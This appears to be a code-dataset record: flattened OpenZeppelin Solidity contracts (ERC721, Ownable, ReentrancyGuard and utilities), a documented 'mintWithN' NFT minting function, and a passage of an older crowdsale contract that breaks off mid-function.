and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Allow a n token holder to mint a token with one of their n token's id tokenId Id to be minted/ If no reserved allowance we respect total supply contraint If reserved allowance is active we track mints count
function mintWithN(uint256 tokenId) public payable virtual nonReentrant { require( (reservedAllowance == 0 && totalSupply() < maxTotalSupply) || reserveMinted < reservedAllowance, "NPass:MAX_ALLOCATION_REACHED" ); require(n.ownerOf(tokenId) == msg.sender, "NPass:INVALID_OWNER"); require(msg.value == priceForNHoldersInWei, "NPass:INVALID_PRICE"); if (reservedAllowance > 0) { reserveMinted++; } _safeMint(msg.sender, tokenId); }
430,483
pragma solidity ^0.4.21; /// @title Ownable contract library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /// @title Ownable contract contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } /// @dev Change ownership /// @param newOwner Address of the new owner function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /// @title RateSetter contract contract RateSetter { address public rateSetter; event RateSetterChanged(address indexed previousRateSetter, address indexed newRateSetter); function RateSetter() public { rateSetter = msg.sender; } modifier onlyRateSetter() { require(msg.sender == rateSetter); _; } function changeRateSetter(address newRateSetter) onlyRateSetter public { require(newRateSetter != address(0)); emit RateSetterChanged(rateSetter, newRateSetter); rateSetter = newRateSetter; } } /// @title ERC20 contract /// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md contract ERC20 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public returns (bool); event Transfer(address indexed from, address indexed to, uint value); function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); } /// @title CCWhitelist contract contract CCWhitelist { function isWhitelisted(address addr) public constant returns (bool); } /// @title Crowdsale contract contract Crowdsale is Ownable, RateSetter { using SafeMath for uint256; /// Token reference ERC20 public token; /// Whitelist reference CCWhitelist public whitelist; /// Presale start time (inclusive) uint256 public startTimeIco; /// ICO end time (inclusive) uint256 public endTimeIco; /// Address where the funds will be collected address public wallet; /// EUR per 1 ETH rate uint32 public ethEurRate; /// ETH per 1 BTC rate (multiplied by 100) uint32 public btcEthRate; /// Amount of tokens sold in presale uint256 public tokensSoldPre; /// Amount of tokens sold in ICO uint256 public tokensSoldIco; /// Amount of raised ethers expressed in weis uint256 public weiRaised; /// Amount of raised EUR uint256 public eurRaised; /// Number of contributions uint256 public contributions; /// ICO time phases uint256 public icoPhase1Start; uint256 public icoPhase1End; uint256 public icoPhase2Start; uint256 public icoPhase2End; uint256 public icoPhase3Start; uint256 public icoPhase3End; uint256 public icoPhase4Start; uint256 public icoPhase4End; /// Discount percentages in each phase uint8 public icoPhaseDiscountPercentage1; uint8 public icoPhaseDiscountPercentage2; uint8 public icoPhaseDiscountPercentage3; uint8 public icoPhaseDiscountPercentage4; /// Hard cap in EUR uint32 public HARD_CAP_EUR = 19170000; // 19 170 000 EUR /// Soft cap in EUR uint32 public SOFT_CAP_EUR = 2000000; // 2 000 000 EUR /// Hard cap in tokens uint256 public HARD_CAP_IN_TOKENS = 810 * 10**24; //810m CC tokens /// Mapping for contributors - to limit max contribution and possibly to extract info for refund if soft cap is not reached mapping (address => uint) public contributors; function Crowdsale(uint256 _startTimeIco, uint256 _endTimeIco, uint32 _ethEurRate, uint32 _btcEthRate, address _wallet, address _tokenAddress, address _whitelistAddress, uint256 _tokensSoldPre, uint256 _contributions, uint256 _weiRaised, uint256 _eurRaised, uint256 _tokensSoldIco) public { require(_endTimeIco >= _startTimeIco); require(_ethEurRate > 0 && _btcEthRate > 0); require(_wallet != address(0)); require(_tokenAddress != address(0)); require(_whitelistAddress != address(0)); require(_tokensSoldPre > 0); startTimeIco = _startTimeIco; endTimeIco = _endTimeIco; ethEurRate = _ethEurRate; btcEthRate = _btcEthRate; wallet = _wallet; token = ERC20(_tokenAddress); whitelist = CCWhitelist(_whitelistAddress); tokensSoldPre = _tokensSoldPre; contributions = _contributions; weiRaised = _weiRaised; eurRaised = _eurRaised; tokensSoldIco = _tokensSoldIco; // set time phases icoPhase1Start = 1520208000; icoPhase1End = 1520812799; icoPhase2Start = 1520812800; icoPhase2End = 1526255999; icoPhase3Start = 1526256000; icoPhase3End = 1527465599; icoPhase4Start = 1527465600; icoPhase4End = 1528113600; icoPhaseDiscountPercentage1 = 40; // 40% discount icoPhaseDiscountPercentage2 = 30; // 30% discount icoPhaseDiscountPercentage3 = 20; // 20% discount icoPhaseDiscountPercentage4 = 0; // 0% discount } /// @dev Sets the rates in crowdsale /// @param _ethEurRate ETH to EUR rate /// @param _btcEthRate BTC to ETH rate function setRates(uint32 _ethEurRate, uint32 _btcEthRate) public onlyRateSetter { require(_ethEurRate > 0 && _btcEthRate > 0); ethEurRate = _ethEurRate; btcEthRate = _btcEthRate; emit RatesChanged(rateSetter, ethEurRate, btcEthRate); } /// @dev Sets the ICO start and end time /// @param _start Start time /// @param _end End time function setICOtime(uint256 _start, uint256 _end) external onlyOwner { require(_start < _end); startTimeIco = _start; endTimeIco = _end; emit ChangeIcoPhase(0, _start, _end); } /// @dev Sets the ICO phase 1 duration /// @param _start Start time /// @param _end End time function setIcoPhase1(uint256 _start, uint256 _end) external onlyOwner { require(_start < _end); icoPhase1Start = _start; icoPhase1End = _end; emit ChangeIcoPhase(1, _start, _end); } /// @dev Sets the ICO phase 2 duration /// @param _start Start time /// @param _end End time function setIcoPhase2(uint256 _start, uint256 _end) external onlyOwner { require(_start < _end); icoPhase2Start = _start; icoPhase2End = _end; emit 